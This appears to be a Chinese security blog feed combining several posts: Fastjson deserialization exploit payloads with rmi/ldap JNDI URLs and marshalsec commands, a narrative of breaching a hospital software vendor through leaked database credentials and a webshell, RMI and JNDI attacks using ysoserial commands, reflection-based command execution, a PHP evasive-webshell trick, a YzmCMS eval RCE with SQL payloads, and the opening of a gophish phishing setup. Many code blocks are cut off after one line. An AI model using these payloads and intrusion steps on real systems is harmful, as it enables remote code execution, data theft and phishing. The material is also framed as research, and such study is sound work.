支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
攻击者准备rmi服务(主机C)和web服务(主机B),构造json数据将rmi绝对路径注入到lookup方法中,受害者(主机A)的JNDI接口会指向攻击者控制RMI服务器(主机C),JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE
_{ |
最早期的fastjson版本中,AutoType是默认开启的,并且没有什么限制,可以直接加载恶意类
_{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://Cip:9999/Exploit","autoCommit":true}_ |
设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞
在此期间,发现了在具体加载类的时候会判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
基于黑名单绕过,autoTypeSupport属性为true才能使用
_{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://Cip:9999/Exploit","autoCommit":true}_ |
新加入了检测机制,fastjson先判断目标类的类名的前后是不是L和;,如果是的话,就截取掉前后的L和;再进行黑白名单的校验。
绕过方式改为了双写绕过 LL和;;
基于黑名单绕过,autoTypeSupport属性为true才能使用
_{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://Cip:9999/Exploit", "autoCommit":true}_ |
检测是否以LL开头,短暂的修复了漏洞
绕过:根据fastjson判断函数,[开头则提取类名,且后面字符字符为”[“、”{“等,即可正常调用
基于黑名单绕过,autoTypeSupport属性为true才能使用
_{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://Cip:9999/Exploit", "autoCommit":true}_ |
1.2.44时增加限制:只要类以[开头或者以;结尾,直接抛异常
基于黑名单绕过,autoTypeSupport属性为true才能使用
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://C_ip:9999/Exploit"}} |
以上的这些利用方式都是只有在autoTypeSupport属性为true才能使用,fastjson>=1.2.25默认为false
版本小于1.2.48的版本通杀,在autoType为false时生效,loadClass中默认cache设置为true,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。
首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
autoTypeSupport属性为false才能使用
_{ |
在1.2.48版本中,设置了fastjson cache为false
基于黑名单绕过,autoTypeSupport属性为true才能使用
_{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://Cip:9999/exploit"}";_ |
基于黑名单绕过,autoTypeSupport属性为true才能使用
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |
先通过dnslog检测漏洞是否存在
执行成功
先将恶意类放到指定的http服务下,再开启RMI服务器加载恶意类,在payload中也要指向RMI服务器的地址
恶意类代码如下
import java.lang.Runtime; |
使用marshalsec工具快捷的开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.50.123:8000/#dnslog" 9999 |
请求192.168.50.123上的dnslog.class文件
验证是否成功
若要获取shell,只要将执行的命令改为反弹shell的命令即可
import java.io.BufferedReader; |
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.50.123:8000/#Shell" 9999 |
成功获取
和RMI利用方式相似,只需要更改一下服务类型为ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.123:8000/#Shell" 9999 |
payload如下
{ |
同样执行成功
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.123:8000/#evilclass" 9999 |
evilclass 执行命令 calc.exe
public class evilclass{ |
POC
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.50.177:9999/evilclass","autoCommit":true}}} |
成功弹出了计算器
如果遇到无法出网的机器,这时候无法通过 JNDI 注入来进行反弹等操作。直接本地反序列化
利用
限制条件:
BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)TemplatesImpl
需要解析的时候设置 Feature.SupportNonPublicFieldTemplatesImpl类,有一个字段是 _bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
但是这种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,代码如下:
JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField}); |
由于这个前提的存在,基本不太可能能在实战环境成功遇到。
恶意类代码
import com.sun.org.apache.xalan.internal.xsltc.DOM; |
对class类文件进行base64编码
import base64 |
修改 json
的 bytecodes
为 刚刚生成的 base64
文本
_{ |
tomcat有一个tomcat-dbcp.jar组件是tomcat用来连接数据库的驱动程序存在一个org.apache.tomcat.dbcp.dbcp.BasicDataSource类,类中Class.forName可将driverClassLoader和driverClassName设置为json指定的内容,并通过传参数执行代码。通过Class.forName传入BCEL编码的evil.class文件,com.sun.org.apache.bcel.internal.util.ClassLoader的classloader会先把它解码成一个byte[],然后调用defineClass还原出恶意Class,执行任意代码。于是根据fastjson漏洞逻辑,控制Class.forName加载的类和ClassLoader,加载还原出的恶意Class执行代码。
而且对于不同的Tomcat版本使用的poc也不同:
• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource
新建 poc_1 类,代码如下,并执行 javac poc
_1.java
_import java.io.IOException; |
编码poc_1类
import com.sun.org.apache.bcel.internal.classfile.Utility; |
将生成的 BCEL编码 替换到 driverClassName
{ |
在不出网的场景下,如果获取到了网站的根目录,可以通过写入webshell的方式进行攻击,或写入内存shell。参考文章:Springboot 内存shell
AutoType=true
{ |
AutoType=false
{ |
注:针对fastjson服务器所处系统的不同操作版本,要用不同的命令执行语句
]]>本文中涉及到的所有操作均得到了客户单位的授权,并且在漏洞修复后得以公开。请勿在未授权状态下进行任何形式的渗透测试!!!!
某天,接到一个任务,要求对某医院的信息系统做一次安全检测,看能否发现问题。经过初步的信息收集后,发现该医院并无官网,只有一个微信公众号提供了预约挂号,缴费等功能,看来只能把突破点放在这个公众号上了。
下图是微信公众号的一些功能:
当点击这些功能并抓包的时候,令我看到奇怪的是所有的请求都指向了a.test.com
这个域名,如下图,原谅我的厚码…
test.com
这个域名经过查找后发现是一家提供医疗信息系统的本地公司,但不解的是为什么医院的系统会放到供应商公司去呢?他们是如何进行数据同步的呢?带着这些问题我开始了对a.test.com
这个域名的测试。
看到这个熟悉的页面,确定了此系统大概是由sping boot开发的,经过一系列常规操作后,只发现了一个swagger-ui页面。
由于我们的目标是拿权限,所以重点对此页面的接口进行了sql注入和越权等测试,无果,也没有任何的文件上传接口,开始卡到这里了。
回过来想,a.test.com
这个域名是test.com
的子域名,是否能够通过test.com
进行突破呢?
访问test.com
,打开的是供应商公司的官网。
对test.com
的域名做信息收集后发现了几个子域均解析致某云服务器,但是ip不同。
首先git.test.com
这个域名引起了我的注意,打开后是一个gitlab服务。
gitlab历史上是由几个漏洞的:
但不幸的是此系统版本较高,漏洞均以修复。
那会不会由弱口令呢?使用几个常用的用户名和top密码进行爆破,无果,我又想办法加到了此公司的一个qq群中,尝试在群文件中获取一些有效信息。
果不然,群文件中有一份表格,记录了员工的详细信息
有了这些信息,我开始使用姓名和工号等组合成gitlab的用户名,使用常用弱口令定向爆破,期望能有一两个结果,但是还是无果,看来此gitlab对密码强度有要求,弱口令是走不通了。
当使用google hack 语法搜索此gitlab时发现了几处无需认证即可访问的公开仓库。
我开始把希望寄托在了这些可公开访问的仓库上,仔细翻看这些仓库,大多数都是一些接口文档,对本次渗透没有啥用。
终于在rabbitmq安装介绍文档中发现了一个oracle数据库的连接用户名和密码:
在前面的信息收集过程中,已经发现了x.test.com
这个子域名对应的ip地址开放了oracle数据库端口,我迅速连接了此数据库发现用户名密码正确,可以连接。
由于此数据库版本较低,并且时sysdba权限,我可以直接以system权限执行命令。
然后就是添加用户登录拿下了这台oracle数据库的服务器。
并且在这个mysql文件夹中发现了mysql的配置文件。
由于test.com
这台服务器是开放了mysql数据库的,利用此信息,我又成功登录了mysql数据库。
在mysql数据库中成功获取了供应商官网test.com
后台的用户名和密码。
当我满怀欣喜的去登录时,发现确实可以登录,但登陆后的后台功能都已废弃,只有一个大大的thinkphp错误。
怎么办,原想的通过后台getshell的想法也落空了。(也尝试过使用Thinkphp3的漏洞利用,但也全部失败了)
到这里,我认为只能把希望放在这个mysql数据库上了,由于是windows系统,udf提权大概率成功不了,那就只能尝试写webshell了。写webshell的话需要知道绝对路径,我尝试使用各种办法让test.com
报错,看报错信息中有没有包含绝对路径,一系列操作过后无果,只有404页面。
没办法了,只有盲猜一波,我突然想到了mysql数据库表的表名是否就是网站的目录名呢?
使用这两个表名构造了以下绝对路径
_c:\\hsweb |
当尝试到_c:\\hsweb
_时,webshell提示已经写入成功了。
使用蚁剑连接成功:
由于当前用户权限较小,使用potato成功提权:
添加用户成功登录远程桌面:
在服务端的nginx配置文件中发现了代理规则,涉及到几十家医院:
原来这些医院的微信公众号业务都是先访问test.com
这台服务器,然后再由这台服务器上的nginx转到到各个医院的真实服务器上。那这样也太不安全了吧,一旦供应商的这台服务器宕机、他们的业务也得跟着丢。
然后在这台服务器上发现了微信公众号后台源码,丢给同伴审计了一波,发现了后台登录绕过漏洞,可以直接登录后台。
然后就是随意改信息啦。
至此本次渗透就结束了,其实拿到医院的真实ip后也可以更深入的进行测试。
]]>代理模式是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。我理解的代理就是一个中间人,这个中间人不仅实现了代理对象的功能,还能自己添加一些功能。
在说动态代理之前不得不提静态代理,静态代理的实现需要代理对象和目标对象实现一样的接口,用起来比较繁琐。
静态代理实现的步骤如下:
1. 定义一个接口及其实现类 |
静态代理代码实现:
定义hello接口
package com.staticproxy; |
实现hello接口
package com.staticproxy; |
创建代理类并同样实现hello接口
package com.staticproxy; |
静态代理使用结果:
package com.staticproxy; |
静态代理的缺点:
静态代理中,我们对目标对象的每个方法的增强都是手动完成的,非常不灵活(比如接口一旦新增加方法,目标对象和代理对象都要进行修改)且麻烦(需要对每个目标类都单独写一个代理类)。 实际应用场景非常非常少。
动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。
静态代理与动态代理的区别主要在:
JDK提供了java.lang.reflect.InvocationHandler
接口和 java.lang.reflect.Proxy
类,这两个类相互配合,入口是Proxy。Proxy有个静态方法:getProxyClass(ClassLoader, interfaces)
,只要你给它传入类加载器和一组接口,它就给你返回代理Class对象。
所以,一旦我们明确接口,完全可以通过接口的Class对象,创建一个代理Class,通过代理Class即可创建代理对象。
根据代理Class的构造器创建对象时,需要传入InvocationHandler。每次调用代理对象的方法,最终都会调用InvocationHandler的invoke()方法:
不过实际编程中,一般不用getProxyClass()
,而是使用Proxy类的另一个静态方法:Proxy.newProxyInstance()
,直接返回代理实例,连中间得到代理Class对象的过程都帮你隐藏。
JDK 动态代理类使用步骤:
1. 定义一个接口及其实现类; |
动态代理的代码实现:
定义hello接口
package com.dynamicproxy; |
实现hello接口
package com.dynamicproxy; |
定义一个 JDK 动态代理类
package com.dynamicproxy; |
获取代理实例
package com.dynamicproxy; |
动态代理使用结果:
package com.dynamicproxy; |
可以看到动态代理无需实现代理目标类的接口即可实现代理功能,很方便。
动态代理在很多框架中都用到了吗,比如spring,mybatis,ysoserial等,学习动态代理有助于看懂这些框架。
RPC全称为远程过程调用,通俗点讲就是可以在不同的设备上互联调用其方法,比如client可以远程调用server上的方法。而RMI是jdk中RPC的一种实现方式,通过RMI可以轻松的实现RPC而不必理会这其中复杂的调用过程。由于RMI的实现过程调用了java的序列化和反序列化,如果server端存在反序列化的利用条件,我们可在client端实现RMI反序列化攻击,从而在server端完成RCE。
RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。
RMI 可以使用以下协议实现:
RMI包括以下三个部分:
在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。
RMI的工作原理如下图:
其实我们无需理会这复杂的过程,只需知道RMI如何使用即可。
java.rmi.Remote
,并在每个方法声明抛出RemoteException
UnicastRemoteObject
LocateRegistry.createRegistry
创建Registry,并通过Naming.rebind
将远程对象绑定到RegistryNaming.lookup
即可调用服务端的方法定义HelloInterface接口
package com.rmi; |
实现HelloInterface接口
package com.rmi; |
RMI服务端
package com.rmi; |
RMI客户端
package com.rmi; |
运行结果:
在远程方法调用过程中,参数需要先序列化,从 local JVM 发送到 remote JVM,然后在 remote JVM 上反序列化,执行完后,将结果序列化,发送回 local JVM,因此可能会存在反序列化漏洞。
下图是RMI安全性的一张全景图:
当注册中心上可用的反序列化链时,就可以利于反序列化来攻击注册中心,这里使用ysoserial的RMIRegistryExploit
来攻击。
此种攻击方式对jdk版本有要求:jdk7u131或jdk8u121之前。
可以直接只有vulhub配置好的靶场来打:
rmi-registry-bind-deserialization
我这里就直接编写代码了:
代码和上面的示例代码其实一样,为了测试攻击,这里引入了commons-collections
的3.2.1
版本.
rmiserver代码:
package com.rmi; |
然后使用ysoserial的cc链攻击即可:
自jdk8u121起,Registry对反序列化的类做了白名单限制
if (String.class == clazz |
另外攻击注册中心在_jdk<jdk8u232b09
_版本中也可以实现,利用了UnicastRef
去bypass,具体原理可以看下这篇文章:一次攻击内网rmi服务的深思。
注意:只有jdk >=8u121,<8u231 时,才可以使用ysoserial中的JRMPClient绕过白名单来打。
具体利用可参考:CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞
vulhub上也有对应的靶场:rmi-registry-bind-deserialization-bypass
此靶场用的jdk版本为:jdk8u131
对于 jdk>=8u231,<8u241 版本时,可以使用改造过后的ysoserial来打,这里使用了https://github.com/bit4woo/ysoserial/tree/bit4woo.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "cmd /c calc" |
java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitJdk8u231 127.0.0.1 1099 JRMPClient2 127.0.0.1:9999 |
本地成功在jdk1.8231版本上复现成功:
当攻击服务端时可以使用工具BaRMIe
去寻找可受攻击的RMI服务,比如可能提供了文件上传等危险功能,一种就跟普通web测试差不多的很简单的感觉。
但实际上我们要调用一个存在危险功能的RMI服务端需要知道:RMI对象a、方法b、参数c,即a.b(c)
自然会认为我们作为RMI客户端向RMI注册端查询有哪些RMI服务端,然后再去RMI服务端查询接口和参数,再根据返回的接口和参数,构造利用就好了。
貌似这个工具无法有效检测反序列化链。
BaRMIe实际上探测利用开放的RMI服务,根本只是攻击者自己知道有哪些组件会提供危险的RMI服务。然后根据class路径去判断对面是否使用了该组件,如果用了就尝试打一打看看成不成功。
假如对面提供了我们一个不认识的RMI服务,我们是没有能力攻击的。
就如之前提到的一样:因为我们没有RMI服务对象的接口(方法+参数)。就算对面开放了一个Class名字可疑的服务,我们也没有办法去正确调用它。
可见这种理论存在但是不怎么被人讨论的攻击方法总是有些鸡肋。
同样的在ysoserial中提供了ysoserial.exploit.JRMPClient
可以直接攻击RMIServer,但是前提是服务端需存在可以利用的反序列化链,并且jdk版本_<=1.8111
_。
在jdk1.8121及之后的版本中由于JEP290的存在,导致ysoserial攻击失效,那么如何绕过呢,这篇文章给出了几个不错的思路.
第一种方法:
当客户端存在godget时,利用ysoserial开启JRMPListener,让客户端去连也是可以触发的。
第二种方法:
理想情况下的攻击方式:
定义IHello接口
package com.rmitest.inter; |
实现IHello接口
package com.rmitest.impl; |
rmiclient代码
public class RMICustomer { |
这样客户端就可以完成命令执行了,但是现实中不可能遇到上述代码中的情况。那么有没有一种特别通用的利用方式呢?让客户端在lookup一个远程方法的时候能直接造成RCE,事实证明是有的。
这里就要讲到一个特别的类javax.naming.Reference,该类的作用就是记录一个远程对象的位置,然后服务端将实例化好的Reference类通过bind方法注册到rmiregistry上,然后客户端通过rmiregistry返回的Stub信息找到服务端并调用该Reference对象,Reference对象通过URLClassloader将记录在Reference对象中的Class从远程地址上加载到本地,从而触发恶意类中的静态代码块,导致RCE。
上面说的也就是JDNI注入,关于JNDI的详细介绍可参考:深入理解JNDI注入与Java反序列化漏洞利用
本次实验整个流程如下: |
SERVER端代码:
package com.rmi; |
CLIENT端代码:
package com.rmi; |
恶意类,使用javac编译后放置于远程vps上
import java.io.IOException; |
上述代码攻击的时客户端,当然也可以攻击服务端。
但是JNDI注入利用条件较为严格:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 |
也就是说jdk8u191版本之后基本无法利用JNDI注入了。
当然上述过程利用工具也可以实现,marshalsec这个工具已经内置了RMI和LDAP服务,可以很方便的开启远程服务用于加载恶意类。工具地址:https://github.com/mbechler/marshalsec
用法:
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>] |
java -cp marshalsec-0.0.3-all.jar marshalsec.jndi.RMIRefServer http://1.14.47.152:8081/#ExecTest 1099 |
同样可以触发漏洞
了解过fastjson反序列化的同学知道其触发原理和上面的其实一样。
谈到安全性,很多文章中都提到了JEP290,他给反序列化做了个安全检验,用于过滤输入的序列化数据,缓解反序列化攻击。
1、提供一个限制反序列化类的机制,白名单或者黑名单。 |
JEP290本来是JDK9的新特性,但为了安全性之类的理由还将其移植到了早期版本中,JDK9以下的适用版本为:
Java™ SE Development Kit 8, Update 121 (JDK 8u121) |
对于反序列化的对抗还需深入了解JEP290,学习bypass方法。
java类加载器是JVM加载类到内存并运行的过程,这个过程有点复杂,除了系统自定义的三类加载器外,java运行用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。
java系统定义了三类加载器,分别是BootstrapClassLoader
,ExtensionClassLoader
,AppClassLoader
。其中BootstrapClassLoader
由 C 语言代码实现,主要负责加载存储在$JAVA_HOME/jre/lib/rt.jar中的核心 Java 库,包括 JVM 本身。ExtensionClassLoader
由sun.misc.Launcher$ExtClassLoader
类实现。负责加载 JVM 扩展类,用来加载\jre\lib\ext
的类,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar
中,有很多 jar 包。AppClassLoader
由sun.misc.Launcher$
AppClassLoader实现。是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。`
这三类加载器互相配合,完成了类的加载,这个过程比较复杂,而且还有一个比较重要的“双亲委派”机制,想要深入了解的同学可以看下老大难的 Java ClassLoader 再不理解就老了。
不过这里我们只需要重点关注下URLClassLoader
和如何自定义类加载器就可以了。
URLClassLoader扩展了ClassLoader,所以它在ClassLoader的基础上扩展了一些功能,这些扩展的功能中,最主要的一点就是URLClassLoader却可以加载任意路径下的类(ClassLoader只能加载classpath下面的类)。
在上篇的java反射介绍中,要实现动态加载类都是使用用Class.forName()这个方法,但是这个方法只能创建程序中已经引用的类,如果我们需要动态加载程序外的类,Class.forName()是不够的,这个时候就是需要使用URLClassLoader。
首先先编写一个测试类,并将其编译为class文件。
package com.classloader; |
此时会在D:\com\classloader
文件夹下生成一个test.class
文件。
URLClassLoader本地加载外部类示例:
package com.classloader; |
URLClassLoader远程加载外部类示例:
同上一步,将test.class
文件放在远端的一个服务器上,使用http远程访问此文件。
地址为:http://1.14.47.152/test.class
URLClassLoader远程加载外部类示例:
package com.classloader; |
除了系统内置的类加载器,我们还可以自定义类加载器,自定义的类加载器需要继承java.lang.ClassLoader
,通过重写其中的findClass()
方法来达到想要的功能。
这里引用JAVA安全基础(一)–类加载器(ClassLoader)这篇文章中加密 java 类字节码例子来讲解。
首先创建CypherTest.java
文件并生成CypherTest.class
package com.classloader; |
之后我们编写一个加密类 Encryption,使用简单的逐位取反进行加密操作。
package com.classloader; |
运行后生成了加密后的CypherTest.class
文件
因为这个是自定义加密后,我们无法使用工具直接进行反编译操作和直接使用 jvm 默认类加载器去使用它。
那此时就需要自定义类加载器去加载了。
自定义解密类加载器示例:
package com.classloader; |
然后调用自定义的类加载器去加载加密后的class文件即可。
package com.classloader; |
如果要想深入学习java安全,除了java必备的基础知识外,还有一些java高阶的知识需要了解,例如反射,类加载,RPC,动态代理等。这些概念是java漏洞利用的基础,例如shiro反序列化,fastjson反序列化等。
这篇文章我们来详细说说java反射。
java 作为动态语言最基本的一个特性就是反射,反射可以使得java在运行时动态的去获取要加载的类对象并执行其中的方法,当然也可以获取并修改其属性等。
一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作,例如:
现在有一个类名为com.test.Cat
,其有一个方法为eat
.
package com.test; |
当需要调用eat
方法时,需要实例化Cat
对象。
package com.test; |
那么现在有一个配置文件内容如下:
className=com.test.Cat |
现在要求从配置文件中读取className的值和method的值去创建com.test.Cat对象,并执行其eat方法,那么该如何去实现呢?
可以肯定的是使用传统的方法是无法实现的,java反射就是用来解决此类问题的。
package com.test; |
运行结果:
可以看到和直接实例化Cat对象运行的结果是一样的。
现有一个Student类,如下:
package com.test.reflection; |
可以看到,Student 类中有两个字段、两个构造方法、两个函数,且都是一个私有,一个公有。由此可知,这个测试类基本涵盖了我们平时常用的所有类成员。
通过字符串获取Class对象,这个字符串必须带上完整路径名 |
这里要提一下几种获取Class对象的方法。
forName()
方法:当要使用 Class 类中的方法获取类对象时,就需要使用 forName()
方法,只需要有类名称即可,在配置 JDBC 中通常采用这种方法。.class 方法
:任何数据类型都具备静态的属性,因此可以使用 .class
直接获取其对应的 Class 对象,使用这种方法时需要明确用到类中的静态成员。getClass() 方法
:可以通过 Object 类中的 getCLass()
方法来获取字节码,使用这种方法时必须明确具体的类,然后创建对象。getSystemClassLoad().loadClass() 方法
:getSystemClassLoad().loadClass()
方法与 forName()
方法类似,只要有类名即可;但是,forName(
) 的静态方法 JVM 会装载类,并且执行 static()
中的代码,而 getSystemClassLoad().loadClass()
不会执行 ststic()
中的代码。获取字段有两个 API:getDeclaredFields
和getFields
。他们的区别是:getDeclaredFields
用于获取所有声明的字段,包括公有字段和私有字段,getFields
仅用来获取公有字段:
Class studentClass = Class.forName("com.test.reflection.Student"); |
获取构造方法同样包含了两个 API:用于获取所有构造方法的 getDeclaredConstructors和用于获取公有构造方法的getConstructors:
Class studentClass = Class.forName("com.test.reflection.Student"); |
同样地,获取非构造方法的两个 API 是:获取所有声明的非构造函数的 getDeclaredMethods 和仅获取公有非构造函数的 getMethods:
Class studentClass = Class.forName("com.test.reflection.Student"); |
从输出中我们看到,getMethods
方法不仅获取到了我们声明的公有方法setStudentAge
,还获取到了很多 Object
类中的公有方法。这是因为我们前文已说到:Object
是所有Java
类的父类。所有对象都默认实现了 Object
类的方法。 而getDeclaredMethods
是无法获取到父类中的方法的。
// 1.通过字符串获取Class对象,这个字符串必须带上完整路径名 |
利用java的反射去执行命令。
大家都知道在java中可以用Runtime.getRuntime().exec("calc");
来执行系统命令,那么如何利用反射来调用Runtime类来执行命令呢?
代码如下:
package com.test; |
因为Runtime类的构造方法是私有的。
执行后会报如下错误:
既然我现在不能绕过 private 权限的检测,那我先不管 newIntance 创建类对象,先获取 Rumtime 类的方法先谈个计算器再看看。所以我们需要对代码进行简单修改下。
package com.test; |
Runtime类本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以我们没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();的方式创建Runtime对象,但示例中我们借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象。
除了间接创建Runtime类来执行命令也可以暴力的使用 设置 setAccessible(true)
来突破private的限制,代码如下:
|
大家都知道PHP的全局变量有:
$GET,
$POST,
_COOKIE等,当我们向这些变量传参时,在代码中的任何地方都可以获取到其传入的值。例如:
|
其运行结果:
但是当我们传入一个数组呢,结果会怎样,比如传入a[0]=123
:
php会将其解析为一个数组对象返回。
数组的key为[]
中传入的值,value为=
号后面的值。
某些情况下后端会判断用户传入的参数是否为某个值,而忽略了数组对象,可能会导致一些安全问题。
可以利用此特征来写免杀马,例如:
<?php |
可能导致的变量覆盖问题。
例如,在DoumiCMS中全局变量注册是这么写的:
foreach (Array('_GET','_POST','_COOKIE') as $_request){ |
这种情况下当用户传入_COOKIE[id]=1
等参数时就可以伪造cookie进行登录。
其它场景等遇到或想起来了在进行补充。
YzmCMS(以下简称本产品)采用面向对象方式自主研发的YZMPHP框架开发,它是一款开源高效的内容管理系统,产品基于PHP+Mysql架构,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。
其github地址为:https://github.com/yzmcms/yzmcms
平台采用模块化插件设计,主题程序是完全开源免费的,但是大部分插件需付费购买使用,本次代码审计只针对其主体程序,截至2020.8.11, 其最新版本为YzmCMS V6.1。
这里说的条件是指yzmcms后台开启sql命令行功能时,漏洞才能触发,但此功能时默认关闭的,所以这个漏洞利用还是比较鸡肋的。
定位到tree.class.php 134行
eval
函数会将$str
中的变量进行替换生成$nstr
然后拼接到ret
返回.
而调用get_tree函数的在 application\admin\controller\menu.class.php中。
$str
的值为 "<option value='\$id' \$selected>\$spacer \$name</option>"
也就是eval
会执行str
中的变量值。但是只执行一次时无法触发代码执行的。例如 $str
中的$name
可控,将$name
改为${@phpinfo()}
,那么eval
执行后就会把${{@phpinfo()}}
替换到$nstr
中,此刻依旧无法执行代码。
数据库中yzm_menu
表中name
字段会添加为${@phpinfo()}
在调用get_tree
函数时,会从yzm_menu
表中遍历name
字段带入到$str
中进行替换。
此时并不会执行phpinfo()
,因为这里将 ${@phpinfo()}
当作了一个字符串,而不是php变量.
那怎么才能执行eval
呢?我们将目光转到 extract函数,这个函数是可以导致变量覆盖的。
$value
的值是从yzm_menu
表中遍历出来的,extract
会对其进行数组的解包操作。
而且在menu.class.php
中是没有限定取哪些列的,也就是会全部取出yzm_menu
表中的列和数据。
那我们不就可以在yzm_menu
表中新增一列名叫str
, 在将此列的内容添加为 ${@phpinfo()}
。在经过get_tree
函数时,ectract
函数会进行变量覆盖,将原本的$str
进行覆盖,然后带入到eval
函数中执行了代码。
要可以操作数据库,我们需要找到一处sql注入,但是系统后台有一个叫做SQL命令行的功能。利用此功能即可执行sql语句。
(此功能在v6.1版本时默认关闭的,也就是需要此功能开启后才能触发此次的代码执行漏洞)。
那么payload如下:
ALTER TABLE yzm_menu ADD str varchar(255); |
UPDATE yzm_menu SET str="${@phpinfo()}" WHERE name = "aa"; |
此时数据变为了如下:
然后返回后台菜单管理处即可触发代码执行。
调式可看到str
的值为${@phpinfo()}
经过
extract |
函数后
$str |
变量已被覆盖
然后触发代码执行。
其实这个漏洞配合一个sql注入漏洞也是可以触发的,但是在V6.1版本中我没有发现存在SQL注入漏洞,要是可以找到一个sql注入漏洞,那么这个代码执行就不会显得那么鸡肋了。
]]>网络钓鱼攻击指的是攻击者尝试通过电子邮件、网站、短信或其他形式的电子通信窃取敏感信息,控制目标主机的行为。钓鱼攻击在被害者看起来像来自合法公司或个人的正式通信,往往被害者短期内无法知道自己已被攻击。
根据Verizon Enterprise的2020年数据泄露调查报告,网络钓鱼是安全事件中第二大威胁类型,也是数据泄露中最大的威胁类型。网络钓鱼攻击继续在数字威胁格局中占据主导地位。
邮件是大多数组织的主要通信媒介。因此通过邮件也是攻击者较为常用的恶意软件投递载体。根据反信息滥用工作组的调查,事实上超过 85% 的传入邮件中包含垃圾邮件或“滥用邮件”,如何从这些邮件中识别哪些是钓鱼邮件也变得较为困难。
本文将从攻击者视角来完整还原一次钓鱼过程,注意:本文的目的是为了让大多数人了解钓鱼过程和其危害性,从而能够预防这种攻击。本文中提到的技术和工具仅为了学习研究和技术交流,严禁以此来从事各种违法活动。
在任何攻击开始之前,都必须进行侦察,钓鱼也不例外。侦察或者信息收集是保障钓鱼成果的前提条件,后续的所有工作都建立在这一步所获取的信息的基础之上。
这一步我们需要尽可能多的收集目标单位的信息。
以上仅是一部分信息,其它的请大家开放脑洞,尽可能多的收集。
侦察完毕后就开始了正式的钓鱼攻击,预先善其事,必先利其器。纯手动的钓鱼邮件投递效率太低,另外我们需要在邮件中实现鱼竿感知功能,即当目标打开邮件或点击邮件中的链接时,我们可以看到。这些功能钓鱼平台已经都集成好了,没必要自己再去实现。这里我推荐一个开源的平台gohish,这是一个跨平台并且有着良好webUI界面的钓鱼平台。
goPhish搭建很简单,下载官方提供的二进制文件运行即可。
gophish默认管理端web端口为3333,phishserver端口为80,可在config.json
文件中修改。
初次运行是,系统会分配一个随机密码,登陆后必须进行修改。
然后使用浏览器打开:https://ip:3333
即可登录
简单介绍下gophish的几个模块:
Dashboard: 仪表盘,用来显示钓鱼项目的整体情况。效果如下:
Campaigns: 每个钓鱼项目的列表展示和详细信息,用来创建钓鱼项目,创建后钓鱼邮件就会自动发出:
